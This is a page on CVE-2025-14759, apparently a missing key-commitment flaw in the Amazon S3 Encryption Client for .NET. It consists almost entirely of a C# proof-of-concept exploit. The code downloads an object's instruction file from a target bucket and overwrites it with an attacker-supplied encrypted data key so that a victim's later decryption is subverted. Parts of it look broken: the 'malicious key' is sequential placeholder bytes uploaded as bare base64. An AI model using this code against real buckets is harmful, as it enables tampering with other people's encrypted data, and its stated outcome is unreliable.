CVE-2025-14759 Amazon S3 Encryption Client for .NET 密钥承诺缺失漏洞

// CVE-2025-14759 PoC - Amazon S3 Encryption Client for .NET EDK Replacement Attack // This PoC demonstrates the key commitment issue when EDK is stored in instruction file using Amazon.S3EncryptionClient; using Amazon.S3; using Amazon.S3.Model; public class CVE_2025_14759_PoC { private const string BucketName = "target-bucket"; private const string TargetObjectKey = "encrypted-file.txt"; private const string InstructionFileKey = "encrypted-file.txt.inst"; // Attacker-controlled EDK (encrypted with the same KMS key but different plaintext key) private static readonly byte[] MaliciousEDK = new byte[] { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 }; public static async Task PerformAttack() { var s3Client = new AmazonS3Client(); Console.WriteLine("[*] CVE-2025-14759 Attack Simulation"); Console.WriteLine("[*] Target: " + BucketName + "/" + TargetObjectKey); // Step 1: Download the original instruction file Console.WriteLine("[+] Step 1: Downloading original instruction file..."); var instructionResponse = await s3Client.GetObjectAsync(BucketName, InstructionFileKey); using (var reader = new StreamReader(instructionResponse.ResponseStream)) { var originalEDK = await reader.ReadToEndAsync(); Console.WriteLine("[*] Original EDK retrieved: " + originalEDK.Substring(0, 20) + "..."); } // Step 2: Replace the EDK with attacker-controlled key Console.WriteLine("[+] Step 2: Replacing EDK with malicious key..."); var maliciousInstruction = Convert.ToBase64String(MaliciousEDK); var putRequest = new PutObjectRequest { BucketName = BucketName, Key = InstructionFileKey, ContentBody = maliciousInstruction, ContentType = "application/octet-stream" }; await s3Client.PutObjectAsync(putRequest); Console.WriteLine("[+] Malicious EDK uploaded successfully"); Console.WriteLine("[!] Next victim decryption will use attacker's key"); } // Victim-side decryption (demonstrates the vulnerability impact) public static async Task VictimDecrypts() { Console.WriteLine("\n[*] Victim attempting to decrypt data..."); var encryptionClient = new AmazonS3EncryptionClientV2( new AmazonS3CryptoConfigurationV2(), new Amazon.Runtime.BasicAWSCredentials("AKIA...", "secret") ); // This will decrypt using the attacker's EDK, producing attacker-controlled plaintext var response = await encryptionClient.GetObjectAsync(BucketName, TargetObjectKey); using (var reader = new StreamReader(response.ResponseStream)) { var plaintext = await reader.ReadToEndAsync(); Console.WriteLine("[!] Decrypted content (may be attacker-controlled): " + plaintext); } } }